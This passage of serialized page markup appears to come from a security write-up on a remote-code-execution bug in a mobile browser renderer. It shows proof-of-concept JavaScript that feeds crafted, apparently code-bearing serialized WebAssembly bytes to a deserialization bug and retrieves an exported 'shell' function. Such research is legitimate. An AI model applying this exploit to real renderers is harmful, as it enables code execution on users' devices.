138774],{"type":29,"value":271},{"type":23,"tag":230,"props":138776,"children":138777},{"style":262},[138778],{"type":29,"value":135610},{"type":23,"tag":230,"props":138780,"children":138781},{"style":274},[138782],{"type":29,"value":312},{"type":23,"tag":230,"props":138784,"children":138785},{"style":262},[138786],{"type":29,"value":2570},{"type":23,"tag":230,"props":138788,"children":138789},{"style":274},[138790],{"type":29,"value":312},{"type":23,"tag":230,"props":138792,"children":138793},{"style":262},[138794],{"type":29,"value":135680},{"type":23,"tag":230,"props":138796,"children":138797},{"style":274},[138798],{"type":29,"value":511},{"type":23,"tag":230,"props":138800,"children":138801},{"class":232,"line":444},[138802],{"type":23,"tag":230,"props":138803,"children":138804},{"emptyLinePlaceholder":18},[138805],{"type":29,"value":459},{"type":23,"tag":230,"props":138807,"children":138808},{"class":232,"line":453},[138809],{"type":23,"tag":230,"props":138810,"children":138811},{"style":237},[138812],{"type":29,"value":138813},"  // %WasmTierUpFunction(func);\n",{"type":23,"tag":230,"props":138815,"children":138816},{"class":232,"line":462},[138817,138822,138826,138830,138834,138838,138842,138846,138850,138854,138858,138862,138866,138870],{"type":23,"tag":230,"props":138818,"children":138819},{"style":866},[138820],{"type":29,"value":138821},"  for",{"type":23,"tag":230,"props":138823,"children":138824},{"style":274},[138825],{"type":29,"value":664},{"type":23,"tag":230,"props":138827,"children":138828},{"style":256},[138829],{"type":29,"value":14118},{"type":23,"tag":230,"props":138831,"children":138832},{"style":262},[138833],{"type":29,"value":5736},{"type":23,"tag":230,"props":138835,"children":138836},{"style":268},[138837],{"type":29,"value":271},{"type":23,"tag":230,"props":138839,"children":138840},{"style":5149},[138841],{"type":29,"value":5386},{"type":23,"tag":230,"props":138843,"children":138844},{"style":274},[138845],{"type":29,"value":2171},{"type":23,"tag":230,"props":138847,"children":138848},{"style":262},[138849],{"type":29,"value":6074},{"type":23,"tag":230,"props":138851,"children":138852},{"style":268},[138853],{"type":29,"value":11055},{"type":23,"tag":230,"props":138855,"children":138856},{"style":5149},[138857],{"type":29,"value":138282},{"type":23,"tag":230,"props":138859,"children":138860},{"style":274},[138861],{"type":29,"value":2171},{"type":23,"tag":230,"props":138863,"children":138864},{"style":262},[138865],{"type":29,"value":6074},{"type":23,"tag":230,"props":138867,"children":138868},{"style":268},[138869],{"type":29,"value":53042},{"type":23,"tag":230,"props":138871,"children":138872},{"style":274},[138873],{"type":29,"value":827},{"type":23,"tag":230,"props":138875,"children":138876},{"class":232,"line":471},[138877,138882],{"type":23,"tag":230,"props":138878,"children":138879},{"style":294},[138880],{"type":29,"value":138881},"    func",{"type":23,"tag":230,"props":138883,"children":138884},{"style":274},[138885],{"type":29,"value":2140},{"type":23,"tag":230,"props":138887,"children":138888},{"class":232,"line":500},[138889],{"type":23,"tag":230,"props":138890,"children":138891},{"style":274},[138892],{"type":29,"value":1331},{"type":23,"tag":230,"props":138894,"children":138895},{"class":232,"line":514},[138896],{"type":23,"tag":230,"props":138897,"children":138898},{"emptyLinePlaceholder":18},[138899],{"type":29,"value":459},{"type":23,"tag":230,"props":138901,"children":138902},{"class":232,"line":897},[138903,138907,138911,138915,138919,138923,138927],{"type":23,"tag":230,"props":138904,"children":138905},{"style":256},[138906],{"type":29,"value":4324},{"type":23,"tag":230,"props":138908,"children":138909},{"style":262},[138910],{"type":29,"value":137716},{"type":23,"tag":230,"props":138912,"children":138913},{"style":268},[138914],{"type":29,"value":271},{"type":23,"tag":230,"props":138916,"children":138917},{"style":294},[138918],{"type":29,"value":137725},{"type":23,"tag":230,"props":138920,"children":138921},{"style":274},[138922],{"type":29,"value":302},{"type":23,"tag":230,"props":138924,"children":138925},{"style":262},[138926],{"type":29,"value":135640},{"type":23,"tag":230,"props":138928,"children":138929},{"style":274},[138930],{"type":29,"value":753},{"type":23,"tag":230,"props":138932,"children":138933},{"class":232,"line":960},[138934,138938,138942,138946,138950,138954,138958,138962,138966,138970],{"type":23,"tag":230,"props":138935,"children":138936},{"style":262},[138937],{"type":29,"value":137761},{"type":23,"tag":230,"props":138939,"children":138940},{"style":268},[138941],{"type":29,"value":271},{"type":23,"tag":230,"props":138943,"children":138944},{"style":274},[138945],{"type":29,"value":664},{"type":23,"tag":230,"props":138947,"children":138948},{"style":866},[138949],{"type":29,"value":2640},{"type":23,"tag":230,"props":138951,"children":138952},{"style":262},[138953],{"type":29,"value":137716},{"type":23,"tag":230,"props":138955,"children":138956},{"style":274},[138957],{"type":29,"value":312},{"type":23,"tag":230,"props":138959,"children":138960},{"style":294},[138961],{"type":29,"value":59339},{"type":23,"tag":230,"props":138963,"children":138964},{"style":274},[138965],{"type":29,"value":137790},{"type":23,"tag":230,"props":138967,"children":138968},{"style":262},[138969],{"type":29,"value":3856},{"type":23,"tag":230,"props":138971,"children":138972},{"style":274},[138973],{"type":29,"value":511},{"type":23,"tag":230,"props":138975,"children":138976},{"class":232,"line":969},[138977,138981,138985,138989,138993,138997],{"type":23,"tag":230,"props":138978,"children":138979},{"style":262},[138980],{"type":29,"value":103723},{"type":23,"tag":230,"props":138982,"children":138983},{"style":274},[138984],{"type":29,"value":312},{"type":23,"tag":230,"props":138986,"children":138987},{"style":294},[138988],{"type":29,"value":103732},{"type":23,"tag":230,"props":138990,"children":138991},{"style":274},[138992],{"type":29,"value":302},{"type":23,"tag":230,"props":138994,"children":138995},{"style":262},[138996],{"type":29,"value":11415},{"type":23,"tag":230,"props":138998,"children":138999},{"style":274},[139000],{"type":29,"value":753},{"type":23,"tag":230,"props":139002,"children":139003},{"class":232,"line":4526},[139004],{"type":23,"tag":230,"props":139005,"children":139006},{"emptyLinePlaceholder":18},[139007],{"type":29,"value":459},{"type":23,"tag":230,"props":139009,"children":139010},{"class":232,"line":4534},[139011,139015,139020,139024,139028,139032,139036,139040],{"type":23,"tag":230,"props":139012,"children":139013},{"style":256},[139014],{"type":29,"value":4324},{"type":23,"tag":230,"props":139016,"children":139017},{"style":262},[139018],{"type":29,"value":139019}," result_bytes",{"type":23,"tag":230,"props":139021,"children":139022},{"style":268},[139023],{"type":29,"value":271},{"type":23,"tag":230,"props":139025,"children":139026},{"style":256},[139027],{"type":29,"value":291},{"type":23,"tag":230,"props":139029,"children":139030},{"style":294},[139031],{"type":29,"value":135246},{"type":23,"tag":230,"props":139033,"children":139034},{"style":274},[139035],{"type":29,"value":302},{"type":23,"tag":230,"props":139037,"children":139038},{"style":262},[139039],{"type":29,"value":11415},{"type":23,"tag":230,"props":139041,"children":139042},{"style":274},[139043],{"type":29,"value":753},{"type":23,"tag":230,"props":139045,"children":139046},{"class":232,"line":4542},[139047,139051,139055,139059,139063,139067,139071,139075,139079,139083,139087,139091,139095,139099,139103],{"type":23,"tag":230,"props":139048,"children":139049},{"style":262},[139050],{"type":29,"value":103723},{"type":23,"tag":230,"props":139052,"children":139053},{"style":274},[139054],{"type":29,"value":312},{"type":23,"tag":230,"props":139056,"children":139057},{"style":294},[139058],{"type":29,"value":103732},{"type":23,"tag":230,"props":139060,"children":139061},{"style":274},[139062],{"type":29,"value":302},{"type":23,"tag":230,"props":139064,"children":139065},{"style":380},[139066],{"type":29,"value":135813},{"type":23,"tag":230,"props":139068,"children":139069},{"style":268},[139070],{"type":29,"value":11238},{"type":23,"tag":230,"props":139072,"children":139073},{"style":262},[139074],{"type":29,"value":139019},{"type":23,"tag":230,"props":139076,"children":139077},{"style":274},[139078],{"type":29,"value":312},{"type":23,"tag":230,"props":139080,"children":139081},{"style":294},[139082],{"type":29,"value":135830},{"type":23,"tag":230,"props":139084,"children":139085},{"style":274},[139086],{"type":29,"value":302},{"type":23,"tag":230,"props":139088,"children":139089},{"style":380},[139090],{"type":29,"value":135839},{"type":23,"tag":230,"props":139092,"children":139093},{"style":274},[139094],{"type":29,"value":703},{"type":23,"tag":230,"props":139096,"children":139097},{"style":268},[139098],{"type":29,"value":6719},{"type":23,"tag":230,"props":139100,"children":139101},{"style":380},[139102],{"type":29,"value":135852},{"type":23,"tag":230,"props":139104,"children":139105},{"style":274},[139106],{"type":29,"value":753},{"type":23,"tag":230,"props":139108,"children":139109},{"class":232,"line":4559},[139110],{"type":23,"tag":230,"props":139111,"children":139112},{"style":274},[139113],{"type":29,"value":103764},{"type":23,"tag":32,"props":139115,"children":139116},{},[139117],{"type":29,"value":139118},"We get the serialized bytes:",{"type":23,"tag":32,"props":139120,"children":139121},{},[139122],{"type":23,"tag":93,"props":139123,"children":139126},{"alt":139124,"src":139125},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":23,"tag":32,"props":139128,"children":139129},{},[139130,139132,139137],{"type":29,"value":139131},"We can now embed this output into the original bytecode that calls ",{"type":23,"tag":71,"props":139133,"children":139135},{"className":139134},[],[139136],{"type":29,"value":134709},{"type":29,"value":218},{"type":23,"tag":220,"props":139139,"children":139141},{"code":139140,"language":224,"meta":7,"className":222,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[139142],{"type":23,"tag":71,"props":139143,"children":139144},{"__ignoreMap":7},[139145,139168,139195,139414,139481,139488,139515,139726,139977,140228,140452,140634,140855,140933,140940,140987,141030,141066,141109,141148,141175],{"type":23,"tag":230,"props":139146,"children":139147},{"class":232,"line":233},[139148,139152,139156,139160,139164],{"type":23,"tag":230,"props":139149,"children":139150},{"style":274},[139151],{"type":29,"value":302},{"type":23,"tag":230,"props":139153,"children":139154},{"style":256},[139155],{"type":29,"value":798},{"type":23,"tag":230,"props":139157,"children":139158},{"style":274},[139159],{"type":29,"value":4411},{"type":23,"tag":230,"props":139161,"children":139162},{"style":256},[139163],{"type":29,"value":2671},{"type":23,"tag":230,"props":139165,"children":139166},{"style":274},[139167],{"type":29,"value":277},{"type":23,"tag":230,"props":139169,"children":139170},{"class":232,"line":243},[139171,139175,139179,139183,139187,139191],{"type":23,"tag":230,"props":139172,"children":139173},{"style":256},[139174],{"type":29,"value":843},{"type":23,"tag":230,"props":139176,"children":139177},{"style":262},[139178],{"type":29,"value":135233},{"type":23,"tag":230,"props":139180,"children":139181},{"style":268},[139182],{"type":29,"value":271},{"type":23,"tag":230,"props":139184,"children":139185},{"style":256},[139186],{"type":29,"value":291},{"type":23,"tag":230,"props":139188,"children":139189},{"style":294},[139190],{"type":29,"value":135246},{"type":23,"tag":230,"props":139192,"children":139193},{"style":274},[139194],{"type":29,"value":135251},{"type":23,"tag":230,"props":139196,"children":139197},{"class":232,"line":252},[139198,139202,139206,139210,139214,139218,139222,139226,139230,139234,139238,139242,139246,139250,139254,139258,139262,139266,139270,139274,139278,139282,139286,139290,139294,139298,139302,139306,139310,139314,139318,139322,139326,139330,139334,139338,139342,139346,139350,139354,139358,139362,139366,139370,139374,139378,139382,139386,139390,139394,139398,139402,139406,139410],{"type":23,"tag":230,"props":139199,"children":139200},{"style":5149},[139201],{"type":29,"value":135976},{"type":23,"tag":230,"props":139203,"children":139204},{"style":274},[139205],{"type":29,"value":684},{"type":23,"tag":230,"props":139207,"children":139208},{"style":5149},[139209],{"type":29,"value":135268},{"type":23,"tag":230,"props":139211,"children":139212},{"style":274},[139213],{"type":29,"value":684},{"type":23,"tag":230,"props":139215,"children":139216},{"style":5149},[139217],{"type":29,"value":135277},{"type":23,"tag":230,"props":139219,"children":139220},{"style":274},[139221],{"type":29,"value":684},{"type":23,"tag":230,"props":139223,"children":139224},{"style":5149},[139225],{"type":29,"value":135286},{"type":23,"tag":230,"props":139227,"children":139228},{"style":274},[139229],{"type":29,"value":684},{"type":23,"tag":230,"props":139231,"children":139232},{"style":5149},[139233],{"type":29,"value":6348},{"type":23,"tag":230,"props":139235,"children":139236},{"style":274},[139237],{"type":29,"value":684},{"type":23,"tag":230,"props":139239,"children":139240},{"style":5149},[139241],{"type":29,"value":6358},{"type":23,"tag":230,"props":139243,"children":139244},{"style":274},[139245],{"type":29,"value":684},{"type":23,"tag":230,"props":139247,"children":139248},{"style":5149},[139249],{"type":29,"value":6358},{"type":23,"tag":230,"props":139251,"children":139252},{"style":274},[139253],{"type":29,"value":684},{"type":23,"tag":230,"props":139255,"children":139256},{"style":5149},[139257],{"type":29,"value":6358},{"type":23,"tag":230,"props":139259,"children":139260},{"style":274},[139261],{"type":29,"value":684},{"type":23,"tag":230,"props":139263,"children":139264},{"style":5149},[139265],{"type":29,"value":6348},{"type":23,"tag":230,"props":139267,"children":139268},{"style":274},[139269],{"type":29,"value":684},{"type":23,"tag":230,"props":139271,"children":139272},{"style":5149},[139273],{"type":29,"value":19849},{"type":23,"tag":230,"props":139275,"children":139276},{"style":274},[139277],{"type":29,"value":684},{"type":23,"tag":230,"props":139279,"children":139280},{"style":5149},[139281],{"type":29,"value":6348},{"type":23,"tag":230,"props":139283,"children":139284},{"style":274},[139285],{"type":29,"value":684},{"type":23,"tag":230,"props":139287,"children":139288},{"style":5149},[139289],{"type":29,"value":135351},{"type":23,"tag":230,"props":139291,"children":139292},{"style":274},[139293],{"type":29,"value":684},{"type":23,"tag":230,"props":139295,"children":139296},{"style":5149},[139297],{"type":29,"value":6358},{"type":23,"tag":230,"props":139299,"children":139300},{"style":274},[139301],{"type":29,"value":684},{"type":23,"tag":230,"props":139303,"children":139304},{"style":5149},[139305],{"type":29,"value":6358},{"type":23,"tag":230,"props":139307,"children":139308},{"style":274},[139309],{"type":29,"value":684},{"type":23,"tag":230,"props":139311,"children":139312},{"style":5149},[139313],{"type":29,"value":19616},{"type":23,"tag":230,"props":139315,"children":139316},{"style":274},[139317],{"type":29,"value":684},{"type":23,"tag":230,"props":139319,"children":139320},{"style":5149},[139321],{"type":29,"value":5462},{"type":23,"tag":230,"props":139323,"children":139324},{"style":274},[139325],{"type":29,"value":684},{"type":23,"tag":230,"props":139327,"children":139328},{"style":5149},[139329],{"type":29,"value":6348},{"type":23,"tag":230,"props":139331,"children":139332},{"style":274},[139333],{"type":29,"value":684},{"type":23,"tag":230,"props":139335,"children":139336},{"style":5149},[139337],{"type":29,"value":6358},{"type":23,"tag":230,"props":139339,"children":139340},{"style":274},[139341],{"type":29,"value":684},{"type":23,"tag":230,"props":139343,"children":139344},{"style":5149},[139345],{"type":29,"value":56444},{"type":23,"tag":230,"props":139347,"children":139348},{"style":274},[139349],{"type":29,"value":684},{"type":23,"tag":230,"props":139351,"children":139352},{"style":5149},[139353],{"type":29,"value":57659},{"type":23,"tag":230,"props":139355,"children":139356},{"style":274},[139357],{"type":29,"value":684},{"type":23,"tag":230,"props":139359,"children":139360},{"style":5149},[139361],{"type":29,"value":6348},{"type":23,"tag":230,"props":139363,"children":139364},{"style":274},[139365],{"type":29,"value":684},{"type":23,"tag":230,"props":139367,"children":139368},{"style":5149},[139369],{"type":29,"value":20429},{"type":23,"tag":230,"props":139371,"children":139372},{"style":274},[139373],{"type":29,"value":684},{"type":23,"tag":230,"props":139375,"children":139376},{"style":5149},[139377],{"type":29,"value":135277},{"type":23,"tag":230,"props":139379,"children":139380},{"style":274},[139381],{"type":29,"value":684},{"type":23,"tag":230,"props":139383,"children":139384},{"style":5149},[139385],{"type":29,"value":135448},{"type":23,"tag":230,"props":139387,"children":139388},{"style":274},[139389],{"type":29,"value":684},{"type":23,"tag":230,"props":139391,"children":139392},{"style":5149},[139393],{"type":29,"value":135457},{"type":23,"tag":230,"props":139395,"children":139396},{"style":274},[139397],{"type":29,"value":684},{"type":23,"tag":230,"props":139399,"children":139400},{"style":5149},[139401],{"type":29,"value":135466},{"type":23,"tag":230,"props":139403,"children":139404},{"style":274},[139405],{"type":29,"value":684},{"type":23,"tag":230,"props":139407,"children":139408},{"style":5149},[139409],{"type":29,"value":135466},{"type":23,"tag":230,"props":139411,"children":139412},{"style":274},[139413],{"type":29,"value":388},{"type":23,"tag":230,"props":139415,"children":139416},{"class":232,"line":280},[139417,139421,139425,139429,139433,139437,139441,139445,139449,139453,139457,139461,139465,139469,139473,139477],{"type":23,"tag":230,"props":139418,"children":139419},{"style":5149},[139420],{"type":29,"value":135976},{"type":23,"tag":230,"props":139422,"children":139423},{"style":274},[139424],{"type":29,"value":684},{"type":23,"tag":230,"props":139426,"children":139427},{"style":5149},[139428],{"type":29,"value":6358},{"type":23,"tag":230,"props":139430,"children":139431},{"style":274},[139432],{"type":29,"value":684},{"type":23,"tag":230,"props":139434,"children":139435},{"style":5149},[139436],{"type":29,"value":91032},{"type":23,"tag":230,"props":139438,"children":139439},{"style":274},[139440],{"type":29,"value":684},{"type":23,"tag":230,"props":139442,"children":139443},{"style":5149},[139444],{"type":29,"value":19849},{"type":23,"tag":230,"props":139446,"children":139447},{"style":274},[139448],{"type":29,"value":684},{"type":23,"tag":230,"props":139450,"children":139451},{"style":5149},[139452],{"type":29,"value":6348},{"type":23,"tag":230,"props":139454,"children":139455},{"style":274},[139456],{"type":29,"value":684},{"type":23,"tag":230,"props":139458,"children":139459},{"style":5149},[139460],{"type":29,"value":5462},{"type":23,"tag":230,"props":139462,"children":139463},{"style":274},[139464],{"type":29,"value":684},{"type":23,"tag":230,"props":139466,"children":139467},{"style":5149},[139468],{"type":29,"value":6358},{"type":23,"tag":230,"props":139470,"children":139471},{"style":274},[139472],{"type":29,"value":684},{"type":23,"tag":230,"props":139474,"children":139475},{"style":5149},[139476],{"type":29,"value":135542},{"type":23,"tag":230,"props":139478,"children":139479},{"style":274},[139480],{"type":29,"value":388},{"type":23,"tag":230,"props":139482,"children":139483},{"class":232,"line":334},[139484],{"type":23,"tag":230,"props":139485,"children":139486},{"style":274},[139487],{"type":29,"value":136263},{"type":23,"tag":230,"props":139489,"children":139490},{"class":232,"line":371},[139491,139495,139499,139503,139507,139511],{"type":23,"tag":230,"props":139492,"children":139493},{"style":256},[139494],{"type":29,"value":843},{"type":23,"tag":230,"props":139496,"children":139497},{"style":262},[139498],{"type":29,"value":127046},{"type":23,"tag":230,"props":139500,"children":139501},{"style":268},[139502],{"type":29,"value":271},{"type":23,"tag":230,"props":139504,"children":139505},{"style":256},[139506],{"type":29,"value":291},{"type":23,"tag":230,"props":139508,"children":139509},{"style":294},[139510],{"type":29,"value":135246},{"type":23,"tag":230,"props":139512,"children":139513},{"style":274},[139514],{"type":29,"value":135251},{"type":23,"tag":230,"props":139516,"children":139517},{"class":232,"line":391},[139518,139523,139527,139531,139535,139539,139543,139547,139551,139556,139560,139565,139569,139574,139578,139583,139587,139591,139595,139599,139603,139607,139611,139615,139619,139624,139628,139633,139637,139642,139646,139650,139654,139658,139662,139666,139670,139674,139678,139682,139686,139690,139694,139698,139702,139706,139710,139714,139718,139722],{"type":23,"tag":230,"props":139519,"children":139520},{"style":5149},[139521],{"type":29,"value":139522},"    146",{"type":23,"tag":230,"props":139524,"children":139525},{"style":274},[139526],{"type":29,"value":684},{"type":23,"tag":230,"props":139528,"children":139529},{"style":5149},[139530],{"type":29,"value":20739},{"type":23,"tag":230,"props":139532,"children":139533},{"style":274},[139534],{"type":29,"value":684},{"type":23,"tag":230,"props":139536,"children":139537},{"style":5149},[139538],{"type":29,"value":136315},{"type":23,"tag":230,"props":139540,"children":139541},{"style":274},[139542],{"type":29,"value":684},{"type":23,"tag":230,"props":139544,"children":139545},{"style":5149},[139546],{"type":29,"value":136324},{"type":23,"tag":230,"props":139548,"children":139549},{"style":274},[139550],{"type":29,"value":684},{"type":23,"tag":230,"props":139552,"children":139553},{"style":5149},[139554],{"type":29,"value":139555},"174",{"type":23,"tag":230,"props":139557,"children":139558},{"style":274},[139559],{"type":29,"value":684},{"type":23,"tag":230,"props":139561,"children":139562},{"style":5149},[139563],{"type":29,"value":139564},"122",{"type":23,"tag":230,"props":139566,"children":139567},{"style":274},[139568],{"type":29,"value":684},{"type":23,"tag":230,"props":139570,"children":139571},{"style":5149},[139572],{"type":29,"value":139573},"171",{"type":23,"tag":230,"props":139575,"children":139576},{"style":274},[139577],{"type":29,"value":684},{"type":23,"tag":230,"props":139579,"children":139580},{"style":5149},[139581],{"type":29,"value":139582},"151",{"type":23,"tag":230,"props":139584,"children":139585},{"style":274},[139586],{"type":29,"value":684},{"type":23,"tag":230,"props":139588,"children":139589},{"style":5149},[139590],{"type":29,"value":98446},{"type":23,"tag":230,"props":139592,"children":139593},{"style":274},[139594],{"type":29,"value":684},{"type":23,"tag":230,"props":139596,"children":139597},{"style":5149},[139598],{"type":29,"value":6358},{"type":23,"tag":230,"props":139600,"children":139601},{"style":274},[139602],{"type":29,"value":684},{"type":23,"tag":230,"props":139604,"children":139605},{"style":5149},[139606],{"type":29,"value":6358},{"type":23,"tag":230,"props":139608,"children":139609},{"style":274},[139610],{"type":29,"value":684},{"type":23,"tag":230,"props":139612,"children":139613},{"style":5149},[139614],{"type":29,"value":6358},{"type":23,"tag":230,"props":139616,"children":139617},{"style":274},[139618],{"type":29,"value":684},{"type":23,"tag":230,"props":139620,"children":139621},{"style":5149},[139622],{"type":29,"value":139623},"39",{"type":23,"tag":230,"props":139625,"children":139626},{"style":274},[139627],{"type":29,"value":684},{"type":23,"tag":230,"props":139629,"children":139630},{"style":5149},[139631],{"type":29,"value":139632},"61",{"type":23,"tag":230,"props":139634,"children":139635},{"style":274},[139636],{"type":29,"value":684},{"type":23,"tag":230,"props":139638,"children":139639},{"style":5149},[139640],{"type":29,"value":139641},"60",{"type":23,"tag":230,"props":139643,"children":139644},{"style":274},[139645],{"type":29,"value":684},{"type":23,"tag":230,"props":139647,"children":139648},{"style":5149},[139649],{"type":29,"value":98446},{"type":23,"tag":230,"props":139651,"children":139652},{"style":274},[139653],{"type":29,"value":684},{"type":23,"tag":230,"props":139655,"children":139656},{"style":5149},[139657],{"type":29,"value":6358},{"type":23,"tag":230,"props":139659,"children":139660},{"style":274},[139661],{"type":29,"value":684},{"type":23,"tag":230,"props":139663,"children":139664},{"style":5149},[139665],{"type":29,"value":42613},{"type":23,"tag":230,"props":139667,"children":139668},{"style":274},[139669],{"type":29,"value":684},{"type":23,"tag":230,"props":139671,"children":139672},{"style":5149},[139673],{"type":29,"value":19616},{"type":23,"tag":230,"props":139675,"children":139676},{"style":274},[139677],{"type":29,"value":684},{"type":23,"tag":230,"props":139679,"children":139680},{"style":5149},[139681],{"type":29,"value":6358},{"type":23,"tag":230,"props":139683,"children":139684},{"style":274},[139685],{"type":29,"value":684},{"type":23,"tag":230,"props":139687,"children":139688},{"style":5149},[139689],{"type":29,"value":6358},{"type":23,"tag":230,"props":139691,"children":139692},{"style":274},[139693],{"type":29,"value":684},{"type":23,"tag":230,"props":139695,"children":139696},{"style":5149},[139697],{"type":29,"value":6358},{"type":23,"tag":230,"props":139699,"children":139700},{"style":274},[139701],{"type":29,"value":684},{"type":23,"tag":230,"props":139703,"children":139704},{"style":5149},[139705],{"type":29,"value":6358},{"type":23,"tag":230,"props":139707,"children":139708},{"style":274},[139709],{"type":29,"value":684},{"type":23,"tag":230,"props":139711,"children":139712},{"style":5149},[139713],{"type":29,"value":6358},{"type":23,"tag":230,"props":139715,"children":139716},{"style":274},[139717],{"type":29,"value":684},{"type":23,"tag":230,"props":139719,"children":139720},{"style":5149},[139721],{"type":29,"value":31730},{"type":23,"tag":230,"props":139723,"children":139724},{"style":274},[139725],{"type":29,"value":388},{"type":23,"tag":230,"props":139727,"children":139728},{"class":232,"line":400},[139729,139733,139737,139741,139745,139749,139753,139757,139761,139765,139769,139773,139777,139781,139785,139789,139793,139797,139801,139805,139809,139813,139817,139821,139825,139829,139833,139837,139841,139845,139849,139853,139857,139861,139865,139869,139873,139877,139881,139885,139889,139893,139897,139901,139905,139909,139913,139917,139921,139925,139929,139933,139937,139941,139945,139949,139953,139957,139961,139965,139969,139973],{"type":23,"tag":230,"props":139730,"children":139731},{"style":5149},[139732],{"type":29,"value":135976},{"type":23,"tag":230,"props":139734,"children":139735},{"style":274},[139736],{"type":29,"value":684},{"type":23,"tag":230,"props":139738,"children":139739},{"style":5149},[139740],{"type":29,"value":6358},{"type":23,"tag":230,"props":139742,"children":139743},{"style":274},[139744],{"type":29,"value":684},{"type":23,"tag":230,"props":139746,"children":139747},{"style":5149},[139748],{"type":29,"value":6358},{"type":23,"tag":230,"props":139750,"children":139751},{"style":274},[139752],{"type":29,"value":684},{"type":23,"tag":230,"props":139754,"children":139755},{"style":5149},[139756],{"type":29,"value":6358},{"type":23,"tag":230,"props":139758,"children":139759},{"style":274},[139760],{"type":29,"value":684},{"type":23,"tag":230,"props":139762,"children":139763},{"style":5149},[139764],{"type":29,"value":6358},{"type":23,"tag":230,"props":139766,"children":139767},{"style":274},[139768],{"type":29,"value":684},{"type":23,"tag":230,"props":139770,"children":139771},{"style":5149},[139772],{"type":29,"value":6358},{"type":23,"tag":230,"props":139774,"children":139775},{"style":274},[139776],{"type":29,"value":684},{"type":23,"tag":230,"props":139778,"children":139779},{"style":5149},[139780],{"type":29,"value":6358},{"type":23,"tag":230,"props":139782,"children":139783},{"style":274},[139784],{"type":29,"value":684},{"type":23,"tag":230,"props":139786,"children":139787},{"style":5149},[139788],{"type":29,"value":6348},{"type":23,"tag":230,"props":139790,"children":139791},{"style":274},[139792],{"type":29,"value":684},{"type":23,"tag":230,"props":139794,"children":139795},{"style":5149},[139796],{"type":29,"value":6358},{"type":23,"tag":230,"props":139798,"children":139799},{"style":274},[139800],{"type":29,"value":684},{"type":23,"tag":230,"props":139802,"children":139803},{"style":5149},[139804],{"type":29,"value":6358},{"type":23,"tag":230,"props":139806,"children":139807},{"style":274},[139808],{"type":29,"value":684},{"type":23,"tag":230,"props":139810,"children":139811},{"style":5149},[139812],{"type":29,"value":6358},{"type":23,"tag":230,"props":139814,"children":139815},{"style":274},[139816],{"type":29,"value":684},{"type":23,"tag":230,"props":139818,"children":139819},{"style":5149},[139820],{"type":29,"value":6358},{"type":23,"tag":230,"props":139822,"children":139823},{"style":274},[139824],{"type":29,"value":684},{"type":23,"tag":230,"props":139826,"children":139827},{"style":5149},[139828],{"type":29,"value":6358},{"type":23,"tag":230,"props":139830,"children":139831},{"style":274},[139832],{"type":29,"value":684},{"type":23,"tag":230,"props":139834,"children":139835},{"style":5149},[139836],{"type":29,"value":6358},{"type":23,"tag":230,"props":139838,"children":139839},{"style":274},[139840],{"type":29,"value":684},{"type":23,"tag":230,"props":139842,"children":139843},{"style":5149},[139844],{"type":29,"value":6358},{"type":23,"tag":230,"props":139846,"children":139847},{"style":274},[139848],{"type":29,"value":684},{"type":23,"tag":230,"props":139850,"children":139851},{"style":5149},[139852],{"type":29,"value":6358},{"type":23,"tag":230,"props":139854,"children":139855},{"style":274},[139856],{"type":29,"value":684},{"type":23,"tag":230,"props":139858,"children":139859},{"style":5149},[139860],{"type":29,"value":19849},{"type":23,"tag":230,"props":139862,"children":139863},{"style":274},[139864],{"type":29,"value":684},{"type":23,"tag":230,"props":139866,"children":139867},{"style":5149},[139868],{"type":29,"value":46896},{"type":23,"tag":230,"props":139870,"children":139871},{"style":274},[139872],{"type":29,"value":684},{"type":23,"tag":230,"props":139874,"children":139875},{"style":5149},[139876],{"type":29,"value":6358},{"type":23,"tag":230,"props":139878,"children":139879},{"style":274},[139880],{"type":29,"value":684},{"type":23,"tag":230,"props":139882,"children":139883},{"style":5149},[139884],{"type":29,"value":6358},{"type":23,"tag":230,"props":139886,"children":139887},{"style":274},[139888],{"type":29,"value":684},{"type":23,"tag":230,"props":139890,"children":139891},{"style":5149},[139892],{"type":29,"value":6358},{"type":23,"tag":230,"props":139894,"children":139895},{"style":274},[139896],{"type":29,"value":684},{"type":23,"tag":230,"props":139898,"children":139899},{"style":5149},[139900],{"type":29,"value":136351},{"type":23,"tag":230,"props":139902,"children":139903},{"style":274},[139904],{"type":29,"value":684},{"type":23,"tag":230,"props":139906,"children":139907},{"style":5149},[139908],{"type":29,"value":6358},{"type":23,"tag":230,"props":139910,"children":139911},{"style":274},[139912],{"type":29,"value":684},{"type":23,"tag":230,"props":139914,"children":139915},{"style":5149},[139916],{"type":29,"value":6358},{"type":23,"tag":230,"props":139918,"children":139919},{"style":274},[139920],{"type":29,"value":684},{"type":23,"tag":230,"props":139922,"children":139923},{"style":5149},[139924],{"type":29,"value":6358},{"type":23,"tag":230,"props":139926,"children":139927},{"style":274},[139928],{"type":29,"value":684},{"type":23,"tag":230,"props":139930,"children":139931},{"style":5149},[139932],{"type":29,"value":46896},{"type":23,"tag":230,"props":139934,"children":139935},{"style"